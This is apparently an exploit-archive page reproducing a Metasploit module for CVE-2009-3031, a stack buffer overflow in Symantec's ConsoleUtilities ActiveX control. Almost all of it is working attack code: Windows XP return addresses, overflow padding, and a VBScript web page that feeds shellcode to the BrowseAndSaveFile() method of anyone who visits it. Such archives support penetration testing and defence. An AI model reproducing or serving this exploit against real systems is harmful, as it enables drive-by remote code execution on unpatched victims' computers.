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Symantec ConsoleUtilities ActiveX Buffer Overflow

🗓️ 02 Nov 2009 00:00:00Reported by RootType 
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Symantec ConsoleUtilities ActiveX Buffer Overflow module exploits a stack overflow in Symantecs ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code

Related
Code

                                                ## 
# Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in Symantecs ConsoleUtilities.
                                        By sending an overly long string to the "BrowseAndSaveFile()" method located
                                        in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
                                        execute arbitrary code.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
                        'Version'        => '1.0',
                        'References'     =>
                                [
                                        [ 'CVE', '2009-3031'],
                                        [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
                                        [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'         => 1000,
                                        'BadChars'      => "\x00",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
					[ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
					[ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
					[ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
                                ],
                        'DisclosureDate' => 'Nov 02 2009',
                        'DefaultTarget'  => 0))
        end

        def autofilter
                        false
        end

        def check_dependencies
                        use_zlib
        end

        def on_request_uri(cli, request)
                # Re-generate the payload
                return if ((p = regenerate_payload(cli)) == nil)

                # Randomize variables
                vname   = rand_text_alpha(rand(20) + 1)
                junk    = rand_text_alpha(rand(20) + 1)
                eip     = rand_text_alpha(rand(20) + 1)
                morejunk = rand_text_alpha(rand(20) + 1)
                sc      = rand_text_alpha(rand(20) + 1)
                buf = rand_text_alpha(rand(20) + 1)


                # Set RET and shellcode
                ret = Rex::Text.to_unescape([target.ret].pack('V'))
                shellcode = Rex::Text.to_unescape(p.encoded)

                # Build the Site
                content = %Q|
                        <html>
                        <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
                        <script language='vbscript'>
                        arg1 = ""
                        arg3 = ""
                        arg4 = ""
                        arg5 = ""

                        #{junk}=String(310, "A")
                        #{eip}=unescape("#{ret}")
                        #{morejunk}=String(18, unescape("%u0041"))
                        #{sc}=unescape("#{shellcode}")

                        #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
                        #{vname}.BrowseAndSaveFile arg1,#{buf},arg3,arg4,arg5
                        </script>
                        </html>
                  |

                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

                # Transmit the response to the client
                send_response_html(cli, content)

                # Handle the payload
                handler(cli)
        end

end

                              

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